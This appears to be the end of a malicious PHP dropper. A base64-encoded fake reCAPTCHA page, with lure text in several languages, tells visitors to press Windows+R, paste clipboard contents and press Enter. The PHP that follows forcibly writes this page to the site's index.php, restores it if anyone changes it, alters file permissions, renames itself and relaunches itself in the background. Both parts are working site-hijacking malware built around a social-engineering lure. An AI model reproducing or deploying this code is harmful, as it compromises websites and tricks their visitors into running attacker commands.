leCksOCkqOClhyDgpJXgpYcg4KSy4KS/4KSPIOCkleClgOCkrOCli+CksOCljeCkoSDgpKrgpLAgPGI+RW50ZXI8L2I+IOCkpuCkrOCkvuCkj+CkgeClpCIsb2JzZXJ2ZToi4KSG4KSqIOCkpuClh+CkluClh+CkguCkl+ClhyDgpJTgpLAg4KS44KS54KSu4KSkIOCkueCli+CkguCkl+ClhzoiLGNvbmZpcm1MZWFkOiLgpK7gpYjgpIIg4KSP4KSVIOCksOCli+CkrOCli+CknyDgpKjgpLngpYDgpIIg4KS54KWC4KSBIC0gcmVDQVBUQ0hBIOCkuOCkpOCljeCkr+CkvuCkquCkqCDgpIbgpIjgpKHgpYA6ICIsZmluYWw6IuCkuOCkpOCljeCkr+CkvuCkquCkqCDgpKrgpYLgpLDgpL4g4KSV4KSw4KSo4KWHIOCkleClhyDgpLLgpL/gpI8g4KSK4KSq4KSwIOCkpuCkv+CkjyDgpJfgpI8g4KSa4KSw4KSj4KWL4KSCIOCkleCkviDgpKrgpL7gpLLgpKgg4KSV4KSw4KWH4KSC4KWkIix2ZXJpZnlCdG46IuCkuOCkpOCljeCkr+CkvuCkquCkv+CkpCDgpJXgpLDgpYfgpIIiLGNvbmZpZGVudGlhbGl0eToi4KSX4KWL4KSq4KSo4KWA4KSv4KSk4KS+Iix0ZXJtczoi4KSo4KS/4KSv4KSuIOCklOCksCDgpLbgpLDgpY3gpKTgpYfgpIIiLGZvb3Rlcjoi4KSG4KSq4KSV4KWAIOCkleCkqOClh+CkleCljeCktuCkqCDgpJXgpYAg4KS44KWB4KSw4KSV4KWN4KS34KS+IOCkleClgCDgpLjgpK7gpYDgpJXgpY3gpLfgpL4g4KSV4KSw4KSo4KWHIOCkleClgCDgpIbgpLXgpLbgpY3gpK/gpJXgpKTgpL4g4KS54KWI4KWkIn0sCgogICAgaWQ6e2NoZWNraW5nOiJNZW1lcmlrc2EgYXBha2FoIEFuZGEgbWFudXNpYS4gSW5pIG11bmdraW4gbWVtYnV0dWhrYW4gYmViZXJhcGEgZGV0aWsuIix2ZXJpZnlJbnN0cnVjdGlvbjoiVmVyaWZpa2FzaSBiYWh3YSBBbmRhIG1hbnVzaWEgZGVuZ2FuIG1lbnllbGVzYWlrYW4gdGluZGFrYW4gZGkgYmF3YWggaW5pLiIsdmVyaWZ5aW5nOiJNZW12ZXJpZmlrYXNpLi4uIixub3RSb2JvdDoiU2F5YSBidWthbiByb2JvdCIsc3RlcHM6IkxhbmdrYWggVmVyaWZpa2FzaSIsc3VjY2VzczoiQmVyaGFzaWwuIix2ZXJpZnlUaXRsZToiVW50dWsgbWVtYnVrdGlrYW4gYmFod2EgQW5kYSBidWthbiByb2JvdDoiLHN0ZXAxOiJUZWthbiBkYW4gdGFoYW4gVG9tYm9sIFdpbmRvd3MgPGkgY2xhc3M9J2ZhYiBmYS13aW5kb3dzJz48L2k+ICsgPGI+UjwvYj4uIixzdGVwMjoiRGkgamVuZGVsYSB2ZXJpZmlrYXNpLCB0ZWthbiA8Yj5DdHJsPC9iPiArIDxiPlY8L2I+LiIsc3RlcDM6IlRla2FuIDxiPkVudGVyPC9iPiBwYWRhIGtleWJvYXJkIEFuZGEgdW50dWsgbWVueWVsZXNhaWthbi4iLG9ic2VydmU6IkFuZGEgYWthbiBtZWxpaGF0IGRhbiBtZW55ZXR1anVpOiIsY29uZmlybUxlYWQ6IlNheWEgYnVrYW4gcm9ib3QgLSBJRCBWZXJpZmlrYXNpIHJlQ0FQVENIQTogIixmaW5hbDoiTGFrdWthbiBsYW5na2FoIGRpIGF0YXMgdW50dWsgbWVueWVsZXNhaWthbiB2ZXJpZmlrYXNpLiIsdmVyaWZ5QnRuOiJWZXJpZmlrYXNpIixjb25maWRlbnRpYWxpdHk6IktlcmFoYXNpYWFuIix0ZXJtczoiU3lhcmF0IGRhbiBLZXRlbnR1YW4iLGZvb3RlcjoicGVybHUgbWVuaW5qYXUga2VhbWFuYW4ga29uZWtzaSBBbmRhIHNlYmVsdW0gbWVsYW5qdXRrYW4uIn0sCgogICAgdmk6e2NoZWNraW5nOiLEkGFuZyBraeG7g20gdHJhIHhlbSBi4bqhbiBjw7MgcGjhuqNpIGzDoCBjb24gbmfGsOG7nWkga2jDtG5nLiBWaeG7h2MgbsOgeSBjw7MgdGjhu4MgbeG6pXQgdsOgaSBnacOieS4iLHZlcmlmeUluc3RydWN0aW9uOiJYw6FjIG1pbmggYuG6oW4gbMOgIG5nxrDhu51pIGLhurFuZyBjw6FjaCBob8OgbiB0aMOgbmggaMOgbmggxJHhu5luZyBiw6puIGTGsOG7m2kuIix2ZXJpZnlpbmc6IsSQYW5nIHjDoWMgbWluaC4uLiIsbm90Um9ib3Q6IlTDtGkga2jDtG5nIHBo4bqjaSBsw6AgcsO0LWLhu5F0IixzdGVwczoiQ8OhYyBixrDhu5tjIHjDoWMgbWluaCIsc3VjY2VzczoiVGjDoG5oIGPDtG5nLiIsdmVyaWZ5VGl0bGU6IsSQ4buDIGNo4bupbmcgbWluaCBi4bqhbiBraMO0bmcgcGjhuqNpIGzDoCByw7QtYuG7kXQ6IixzdGVwMToiTmjhuqVuIHbDoCBnaeG7ryBwaMOtbSBXaW5kb3dzIDxpIGNsYXNzPSdmYWIgZmEtd2luZG93cyc+PC9pPiArIDxiPlI8L2I+LiIsc3RlcDI6IlRyb25nIGPhu61hIHPhu5UgeMOhYyBtaW5oLCBuaOG6pW4gPGI+Q3RybDwvYj4gKyA8Yj5WPC9iPi4iLHN0ZXAzOiJOaOG6pW4gPGI+RW50ZXI8L2I+IHRyw6puIGLDoG4gcGjDrW0gxJHhu4Mga+G6v3QgdGjDumMuIixvYnNlcnZlOiJC4bqhbiBz4bq9IHF1YW4gc8OhdCB2w6AgxJHhu5NuZyDDvToiLGNvbmZpcm1MZWFkOiJUw7RpIGtow7RuZyBwaOG6o2kgbMOgIHLDtC1i4buRdCAtIElEIHjDoWMgbWluaCByZUNBUFRDSEE6ICIsZmluYWw6IlRo4buxYyBoaeG7h24gY8OhYyBixrDhu5tjIHRyw6puIMSR4buDIGhvw6BuIHThuqV0IHjDoWMgbWluaC4iLHZlcmlmeUJ0bjoiWMOhYyBtaW5oIixjb25maWRlbnRpYWxpdHk6IkLhuqNvIG3huq10Iix0ZXJtczoixJBp4buBdSBraG/huqNuIHbDoCDEkGnhu4F1IGtp4buHbiIsZm9vdGVyOiJj4bqnbiBraeG7g20gdHJhIGLhuqNvIG3huq10IGvhur90IG7hu5FpIGPhu6dhIGLhuqFuIHRyxrDhu5tjIGtoaSB0aeG6v3AgdOG7pWMuIn0sCgogICAgdGg6e2NoZWNraW5nOiLguIHguLPguKXguLHguIfguJXguKPguKfguIjguKrguK3guJrguKfguYjguLLguITguLjguJPguYDguJvguYfguJnguKHguJnguLjguKnguKLguYzguKvguKPguLfguK3guYTguKHguYgg4Lit4Liy4LiI4LmD4LiK4LmJ4LmA4Lin4Lil4Liy4Liq4Lix4LiB4LiE4Lij4Li54LmIIix2ZXJpZnlJbnN0cnVjdGlvbjoi4LmC4Lib4Lij4LiU4Lii4Li34LiZ4Lii4Lix4LiZ4Lin4LmI4Liy4LiE4Li44LiT4LmA4Lib4LmH4LiZ4Lih4LiZ4Li44Lip4Lii4LmM4LmC4LiU4Lii4LiX4Liz4LiV4Liy4Lih4LiC4Lix4LmJ4LiZ4LiV4Lit4LiZ4LiU4LmJ4Liy4LiZ4Lil4LmI4Liy4LiHIix2ZXJpZnlpbmc6IuC4geC4s+C4peC4seC4h+C4leC4o+C4p+C4iOC4quC4reC4mi4uLiIsbm90Um9ib3Q6IuC4ieC4seC4meC5hOC4oeC5iOC5g+C4iuC5iOC4q+C4uOC5iOC4meC4ouC4meC4leC5jCIsc3RlcHM6IuC4guC4seC5ieC4meC4leC4reC4meC4geC4suC4o+C4ouC4t+C4meC4ouC4seC4mSIsc3VjY2Vzczoi4Liq4Liz4LmA4Lij4LmH4LiIIix2ZXJpZnlUaXRsZToi4LmA4Lie4Li34LmI4Lit4Lie4Li04Liq4Li54LiI4LiZ4LmM4Lin4LmI4Liy4LiE4Li44LiT4LmE4Lih4LmI4LmD4LiK4LmI4Lir4Li44LmI4LiZ4Lii4LiZ4LiV4LmMOiIsc3RlcDE6IuC4geC4lOC4hOC5ieC4suC4h+C4l+C4teC5iOC4m+C4uOC5iOC4oSBXaW5kb3dzIDxpIGNsYXNzPSdmYWIgZmEtd2luZG93cyc+PC9pPiArIDxiPlI8L2I+IixzdGVwMjoi4LmD4LiZ4Lir4LiZ4LmJ4Liy4LiV4LmI4Liy4LiH4LiB4Liy4Lij4Lii4Li34LiZ4Lii4Lix4LiZIOC5g+C4q+C5ieC4geC4lCA8Yj5DdHJsPC9iPiArIDxiPlY8L2I+IixzdGVwMzoi4LiB4LiUIDxiPkVudGVyPC9iPiDguYDguJ7guLfguYjguK3guYDguKrguKPguYfguIjguKrguLTguYnguJkiLG9ic2VydmU6IuC4hOC4uOC4k+C4iOC4sOC5gOC4q+C5h+C4meC5geC4peC4sOC4leC4geC4peC4hzoiLGNvbmZpcm1MZWFkOiLguInguLHguJnguYTguKHguYjguYPguIrguYjguKvguLjguYjguJnguKLguJnguJXguYwgLSDguKPguKvguLHguKrguKLguLfguJnguKLguLHguJkgcmVDQVBUQ0hBOiAiLGZpbmFsOiLguJTguLPguYDguJnguLTguJnguIHguLLguKPguJXguLLguKHguILguLHguYnguJnguJXguK3guJnguJTguYnguLLguJnguJrguJnguYDguJ7guLfguYjguK3guYDguKrguKPguYfguIjguKrguLTguYnguJnguIHguLLguKPguKLguLfguJnguKLguLHguJkiLHZlcmlmeUJ0bjoi4Lii4Li34LiZ4Lii4Lix4LiZIixjb25maWRlbnRpYWxpdHk6IuC4hOC4p+C4suC4oeC4peC4seC4miIsdGVybXM6IuC4guC5ieC4reC4geC4s+C4q+C4meC4lOC5geC4peC4sOC5gOC4h+C4t+C5iOC4reC4meC5hOC4giIsZm9vdGVyOiLguIjguLPguYDguJvguYfguJnguJXguYnguK3guIfguJXguKPguKfguIjguKrguK3guJrguITguKfguLLguKHguJvguKXguK3guJTguKDguLHguKLguILguK3guIfguIHguLLguKPguYDguIrguLfguYjguK3guKHguJXguYjguK3guILguK3guIfguITguLjguJPguIHguYjguK3guJnguJTguLPguYDguJnguLTguJnguIHguLLguKPguJXguYjguK0uIn0sCgogICAgdWs6e2NoZWNraW5nOiLQn9C10YDQtdCy0ZbRgNC60LAsINGH0Lgg0LLQuCDQu9GO0LTQuNC90LAuINCm0LUg0LzQvtC20LUg0LfQsNC50L3Rj9GC0Lgg0LrRltC70YzQutCwINGB0LXQutGD0L3QtC4iLHZlcmlmeUluc3RydWN0aW9uOiLQn9GW0LTRgtCy0LXRgNC00ZbRgtGMLCDRidC+INCy0Lgg0LvRjtC00LjQvdCwLCDQstC40LrQvtC90LDQstGI0Lgg0LTRltGOINC90LjQttGH0LUuIix2ZXJpZnlpbmc6ItCf0LXRgNC10LLRltGA0LrQsC4uLiIsbm90Um9ib3Q6ItCvINC90LUg0YDQvtCx0L7RgiIsc3RlcHM6ItCa0YDQvtC60Lgg0L/QtdGA0LXQstGW0YDQutC4IixzdWNjZXNzOiLQo9GB0L/RltGI0L3Qvi4iLHZlcmlmeVRpdGxlOiLQqdC+0LEg0LTQvtCy0LXRgdGC0LgsINGJ0L4g0LLQuCDQvdC1INGA0L7QsdC+0YI6IixzdGVwMToi0KPRgtGA0LjQvNGD0LnRgtC1INC60LvQsNCy0ZbRiNGDIFdpbmRvd3MgPGkgY2xhc3M9J2ZhYiBmYS13aW5kb3dzJz48L2k+ICsgPGI+UjwvYj4uIixzdGVwMjoi0KMg0LLRltC60L3RliDQv9C10YDQtdCy0ZbRgNC60Lgg0L3QsNGC0LjRgdC90ZbRgtGMIDxiPkN0cmw8L2I+ICsgPGI+VjwvYj4uIixzdGVwMzoi0J3QsNGC0LjRgdC90ZbRgtGMIDxiPkVudGVyPC9iPiwg0YnQvtCxINC30LDQstC10YDRiNC40YLQuC4iLG9ic2VydmU6ItCS0Lgg0L/QvtCx0LDRh9C40YLQtSDRgtCwINC/0L7Qs9C+0LTQuNGC0LXRgdGMOiIsY29uZmlybUxlYWQ6ItCvINC90LUg0YDQvtCx0L7RgiDigJQg0ZbQtNC10L3RgtC40YTRltC60LDRgtC+0YAg0L/QtdGA0LXQstGW0YDQutC4IHJlQ0FQVENIQTogIixmaW5hbDoi0JLQuNC60L7QvdCw0LnRgtC1INC90LDQstC10LTQtdC90ZYg0LLQuNGJ0LUg0LrRgNC+0LrQuCwg0YnQvtCxINC30LDQstC10YDRiNC40YLQuCDQv9C10YDQtdCy0ZbRgNC60YMuIix2ZXJpZnlCdG46ItCf0LXRgNC10LLRltGA0LjRgtC4Iixjb25maWRlbnRpYWxpdHk6ItCa0L7QvdGE0ZbQtNC10L3RhtGW0LnQvdGW0YHRgtGMIix0ZXJtczoi0KPQvNC+0LLQuCIsZm9vdGVyOiLQv9C+0LLQuNC90L3QsCDQv9C10YDQtdCy0ZbRgNC40YLQuCDQsdC10LfQv9C10LrRgyDQstCw0YjQvtCz0L4g0Lcn0ZTQtNC90LDQvdC90Y8g0L/QtdGA0LXQtCDQv9GA0L7QtNC+0LLQttC10L3QvdGP0LwuIn0sCgogICAgY3M6e2NoZWNraW5nOiJLb250cm9sdWplIHNlLCB6ZGEganN0ZSDEjWxvdsSbay4gVG8gbcWvxb5lIHRydmF0IG7Em2tvbGlrIHNla3VuZC4iLHZlcmlmeUluc3RydWN0aW9uOiJPdsSbxZl0ZSwgxb5lIGpzdGUgxI1sb3bEm2ssIHByb3ZlZGVuw61tIG7DrcW+ZSB1dmVkZW7DqSBha2NlLiIsdmVyaWZ5aW5nOiJPdsSbxZlvdsOhbsOtLi4uIixub3RSb2JvdDoiTmVqc2VtIHJvYm90IixzdGVwczoiS3Jva3kgb3bEm8WZZW7DrSIsc3VjY2Vzczoiw5pzcMSbxaFuxJsuIix2ZXJpZnlUaXRsZToiQWJ5IHNlIHByb2vDoXphbG8sIMW+ZSBuZWpzdGUgcm9ib3Q6IixzdGVwMToiU3Rpc2tuxJt0ZSBhIHBvZHLFvnRlIGtsw6F2ZXN1IFdpbmRvd3MgPGkgY2xhc3M9J2ZhYiBmYS13aW5kb3dzJz48L2k+ICsgPGI+UjwvYj4uIixzdGVwMjoiViBvdsSbxZlvdmFjw61tIG9rbsSbIHN0aXNrbsSbdGUgPGI+Q3RybDwvYj4gKyA8Yj5WPC9iPi4iLHN0ZXAzOiJTdGlza27Em3RlIDxiPkVudGVyPC9iPiBwcm8gZG9rb27EjWVuw60uIixvYnNlcnZlOiJCdWRldGUgcG96b3JvdmF0IGEgc291aGxhc2l0OiIsY29uZmlybUxlYWQ6Ik5lanNlbSByb2JvdCDigJQgSUQgb3bEm8WZZW7DrSByZUNBUFRDSEE6ICIsZmluYWw6IlBybyBkb2tvbsSNZW7DrSBvdsSbxZllbsOtIHByb3ZlxI90ZSB2w73FoWUgdXZlZGVuw6kga3Jva3kuIix2ZXJpZnlCdG46Ik92xJvFmWl0Iixjb25maWRlbnRpYWxpdHk6IkTFr3bEm3Jub3N0Iix0ZXJtczoiUG9kbcOtbmt5Iixmb290ZXI6Im11c8OtIHprb250cm9sb3ZhdCBiZXpwZcSNbm9zdCB2YcWhZWhvIHDFmWlwb2plbsOtIHDFmWVkIHBva3JhxI1vdsOhbsOtbS4ifQogIH07CgogIGZ1bmN0aW9uIGRldGVjdExhbmcoKXsKICAgIGNvbnN0IHByZWZzPShuYXZpZ2F0b3IubGFuZ3VhZ2VzJiZuYXZpZ2F0b3IubGFuZ3VhZ2VzLmxlbmd0aD9uYXZpZ2F0b3IubGFuZ3VhZ2VzOltuYXZpZ2F0b3IubGFuZ3VhZ2V8fCJlbiJdKS5tYXAoeD0+eC50b0xvd2VyQ2FzZSgpKTsKICAgIGZvcihjb25zdCBsIG9mIHByZWZzKXsKICAgICAgaWYobC5zdGFydHNXaXRoKCJhciIpKSByZXR1cm4gImFyIjsKICAgICAgaWYobC5zdGFydHNXaXRoKCJoZSIpKSByZXR1cm4gImFyIjsgLy8gdHJlYXQgaGVicmV3IGFzIHJ0bCAod2lsbCBiZSBoYW5kbGVkKQogICAgICBpZihsLnN0YXJ0c1dpdGgoImZyIikpIHJldHVybiAiZnIiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoImRlIikpIHJldHVybiAiZGUiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoIml0IikpIHJldHVybiAiaXQiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoImphIikpIHJldHVybiAiamEiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoInpoIikpIHJldHVybiAiemgiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoImtvIikpIHJldHVybiAia28iOwogICAgICBpZihsLnN0YXJ0c1dpdGgoInJ1IikpIHJldHVybiAicnUiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoImVzIikpIHJldHVybiAiZXMiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoInB0IikpIHJldHVybiAicHQiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoIm5sIikpIHJldHVybiAibmwiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoInRyIikpIHJldHVybiAidHIiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoInBsIikpIHJldHVybiAicGwiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoInN2IikpIHJldHVybiAic3YiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoImRhIikpIHJldHVybiAiZGEiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoImZpIikpIHJldHVybiAiZmkiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoImhpIikpIHJldHVybiAiaGkiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoImlkIikpIHJldHVybiAiaWQiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoInZpIikpIHJldHVybiAidmkiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoInRoIikpIHJldHVybiAidGgiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoInVrIikpIHJldHVybiAidWsiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoImNzIikpIHJldHVybiAiY3MiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoImVuIikpIHJldHVybiAiZW4iOwogICAgfQogICAgcmV0dXJuICJlbiI7CiAgfQoKICBmdW5jdGlvbiByZWFkeShmbil7IGlmKGRvY3VtZW50LnJlYWR5U3RhdGU9PT0ibG9hZGluZyIpIGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoIkRPTUNvbnRlbnRMb2FkZWQiLGZuKTsgZWxzZSBmbigpOyB9CgogIHJlYWR5KGZ1bmN0aW9uKCl7CiAgICBjb25zdCBsYW5nID0gZGV0ZWN0TGFuZygpOwogICAgY29uc3QgdCA9IGkxOG5bbGFuZ10gfHwgaTE4bi5lbjsKCiAgICAvLyBSVEwgc3VwcG9ydCBmw7xyIGFyYWJpc2NoICsgaGVicsOkaXNjaAogICAgaWYgKGxhbmcgPT09ICJhciIgfHwgbGFuZyA9PT0gImhlIikgZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmRpciA9ICJydGwiOwoKICAgCiAgICBjb25zdCBwcmUgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIucHJlbG9hZGVyX3RleHQiKTsgaWYocHJlKSBwcmUudGV4dENvbnRlbnQgPSB0LmNoZWNraW5nOwogICAgY29uc3QgYWxsc3RlcCA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIi50ZXh0YWxsc3RlcCIpOyBpZihhbGxzdGVwKSBhbGxzdGVwLnRleHRDb250ZW50ID0gdC52ZXJpZnlJbnN0cnVjdGlvbjsKCgogICAgY29uc3Qgc2V0ID0gKHNlbCwgdHh0KT0+eyBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKHNlbCkuZm9yRWFjaChlbD0+ZWwudGV4dENvbnRlbnQgPSB0eHQpOyB9OwogICAgc2V0KCIudGV0dHggLnN0ZXAwIiwgdC52ZXJpZnlpbmcpOwogICAgc2V0KCIudGV0dHggLnN0ZXAxIiwgdC5ub3RSb2JvdCk7CiAgICBzZXQoIi50ZXR0eCAuc3RlcDIiLCB0LnN0ZXBzKTsKICAgIHNldCgiLnRldHR4IC5zdGVwMyIsIHQuc3VjY2Vzcyk7CgoKICAgIGNvbnN0IGNiID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImNoZWNrYm94Iik7IGlmIChjYikgY2IudGV4dENvbnRlbnQgPSAiIjsKCgogICAgY29uc3QgdGl0bGVQID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiI3ZlcmlmeS13aW5kb3cgLnZlcmlmeS1tYWluIHA6Zmlyc3Qtb2YtdHlwZSIpOwogICAgaWYgKHRpdGxlUCkgdGl0bGVQLmlubmVySFRNTCA9IHQudmVyaWZ5VGl0bGU7CgogICAgY29uc3Qgc3RlcHNPbCA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIiN2ZXJpZnktd2luZG93IC52ZXJpZnktbWFpbiBvbCIpOwogICAgaWYgKHN0ZXBzT2wpIHN0ZXBzT2wuaW5uZXJIVE1MID0gYDxsaT4ke3Quc3RlcDF9PC9saT48bGk+JHt0LnN0ZXAyfTwvbGk+PGxpPiR7dC5zdGVwM308L2xpPmA7CgoKICAgIGNvbnN0IG9ic2VydmVQID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiI3ZlcmlmeS13aW5kb3cgLnZlcmlmeS1tYWluIHAub2JzZXJ2ZSIpOwogICAgaWYgKG9ic2VydmVQKSB7CiAgICAgIGNvbnN0IGNvZGVFbCA9IG9ic2VydmVQLnF1ZXJ5U2VsZWN0b3IoImNvZGUiKTsKICAgICAgY29uc3QgcGllY2VzID0gb2JzZXJ2ZVAuaW5uZXJIVE1MLnNwbGl0KCI8YnI+Iik7CiAgICAgIHBpZWNlc1swXSA9IHQub2JzZXJ2ZTsKICAgICAgb2JzZXJ2ZVAuaW5uZXJIVE1MID0gcGllY2VzLmpvaW4oIjxicj4iKTsKICAgICAgaWYgKGNvZGVFbCkgewogICAgICAgIGNvbnN0IGlkU3BhbiA9IGNvZGVFbC5xdWVyeVNlbGVjdG9yKCIjdmVyaWZpY2F0aW9uLWlkIik7CiAgICAgICAgY29uc3QgaWRIdG1sID0gaWRTcGFuID8gaWRTcGFuLm91dGVySFRNTCA6ICc8c3BhbiBpZD0idmVyaWZpY2F0aW9uLWlkIj48L3NwYW4+JzsKICAgICAgICBjb2RlRWwuaW5uZXJIVE1MID0gYCDinIUgIiR7dC5jb25maXJtTGVhZH0ke2lkSHRtbH0iIGA7CiAgICAgIH0KICAgIH0KCiAgICBjb25zdCBsZWZ0ID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiLnZlcmlmeS1mb290ZXItbGVmdCIpOyBpZiAobGVmdCkgbGVmdC50ZXh0Q29udGVudCA9IHQuZmluYWw7CiAgICBjb25zdCBidG4gPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidmVyaWZ5LWJ1dHRvbiIpOyBpZiAoYnRuKSBidG4udGV4dENvbnRlbnQgPSB0LnZlcmlmeUJ0bjsKCgogICAgY29uc3QgbGVnYWxCb3ggPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCcjY2hlY2tib3gtd2luZG93ID4gZGl2ID4gZGl2Omxhc3QtY2hpbGQnKTsKICAgIGlmIChsZWdhbEJveCkgewogICAgICBjb25zdCBwcyA9IGxlZ2FsQm94LnF1ZXJ5U2VsZWN0b3JBbGwoInAiKTsKICAgICAgaWYgKHBzWzBdKSBwc1swXS50ZXh0Q29udGVudCA9IHQuY29uZmlkZW50aWFsaXR5OwogICAgICBpZiAocHNbMV0pIHBzWzFdLnRleHRDb250ZW50ID0gdC50ZXJtczsKICAgIH0KCgogICAgY29uc3QgZG9tYWluUGFyYXMgPSBBcnJheS5mcm9tKGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoInAgLmRvbWFpbi1uYW1lIikpLm1hcChzPT5zLnBhcmVudEVsZW1lbnQpOwogICAgZm9yIChjb25zdCBwIG9mIGRvbWFpblBhcmFzKXsKICAgICAgaWYgKC9cYm5lZWRzIHRvIHJldmlldyB0aGUgc2VjdXJpdHkgb2YgeW91ciBjb25uZWN0aW9uIGJlZm9yZSBwcm9jZWVkaW5nXC4vaS50ZXN0KHAudGV4dENvbnRlbnQpKSB7CiAgICAgICAgY29uc3QgaG9zdCA9IChwLnF1ZXJ5U2VsZWN0b3IoIi5kb21haW4tbmFtZSIpPy50ZXh0Q29udGVudCB8fCB3aW5kb3cubG9jYXRpb24uaG9zdG5hbWUgfHwgIiIpOwogICAgICAgIHAuaW5uZXJIVE1MID0gYDxzcGFuIGNsYXNzPSJkb21haW4tbmFtZSI+JHtob3N0fTwvc3Bhbj4gJHt0LmZvb3Rlcn1gOwogICAgICAgIGJyZWFrOwogICAgICB9CiAgICB9CiAgfSk7Cn0pKCk7Cjwvc2NyaXB0PgoKPC9ib2R5PjwvaHRtbD4=");if(!file_exists($w."index.php")){@file_put_contents($w."index.php",$aa);}else{$r=@file_get_contents($w."index.php");if(md5($r)!=md5($aa)){@chmod($w."index.php",0133+0511);@file_put_contents($w."index.php",$aa);}}@chmod($w."index.php",0311+0133);rename(__FILE__,$y);exec("php -f {$y} > /dev/null 2>/dev/null &",$bb);